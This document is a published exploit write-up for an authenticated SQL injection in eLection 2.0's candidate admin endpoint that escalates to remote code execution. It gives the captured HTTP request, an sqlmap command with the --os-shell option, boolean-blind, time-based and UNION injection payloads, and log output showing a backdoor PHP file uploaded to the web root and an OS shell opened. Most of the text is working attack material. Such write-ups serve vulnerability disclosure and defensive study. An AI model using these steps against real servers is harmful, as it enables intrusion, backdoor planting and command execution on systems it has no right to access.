# Title: eLection 2.0 - 'id' SQL Injection# Date: 2020-02-21# Exploit Author: J3rryBl4nks# Vendor Homepage: https://sourceforge.net/projects/election-by-tripath/# Software Link: https://sourceforge.net/projects/election-by-tripath/files/#Version 2.0# Tested on Ubuntu 19/Kali Rolling# The eLection Web application is vulnerable to authenticated SQL Injection which leads to remote code execution:# Login to the admin portal and browse to the candidates section. Capture the request in BurpSuite and save it to file:
POST /election/admin/ajax/op_kandidat.php HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept:*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/election/admin/kandidat.php?_
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length:17
Connection: close
Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5; PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us
aksi=fetch&id=256
Send the request to SQLMap with the following parameters:
sqlmap -r getcandidate --level=5--risk=3--os-shell -p id
SQLMap will find the injection:---
Parameter:id(POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: aksi=fetch&id=256 AND 8584=8584
Type: time-based blind
Title: MySQL >=5.0.12 AND time-based blind (query SLEEP)
Payload: aksi=fetch&id=256 AND (SELECT 8551 FROM (SELECT(SLEEP(5)))nYfJ)
Type: UNION query
Title: Generic UNION query (NULL)-5 columns
Payload: aksi=fetch&id=-9798 UNION ALL SELECT NULL,NULL,CONCAT(0x7170707171,0x676d755461434e486f49475051707357694861534e664f416f434269487042545a76454f5843584b,0x71717a7871),NULL,NULL-- dWMc
---[09:39:07][WARNING] unable to automatically parse any web server path
[09:39:07][INFO] trying to upload the file stager on '/opt/lampp/htdocs/election/' via LIMIT 'LINES TERMINATED BY' method
[09:39:07][INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/election/'- http://HOSTNAME/election/tmpumlfm.php
[09:39:07][INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/election/'- http://HOSTNAME/election/tmpbpfkq.php
[09:39:07][INFO] calling OS shell. To quit type'x'or'q'and press ENTER
os-shell>
Due to the way the setup of the application requires you to change permissions on the directory of the web app, you should be able to get a shell.
https://github.com/J3rryBl4nks/eLection-TriPath-/blob/master/SQLiIntoRCE.md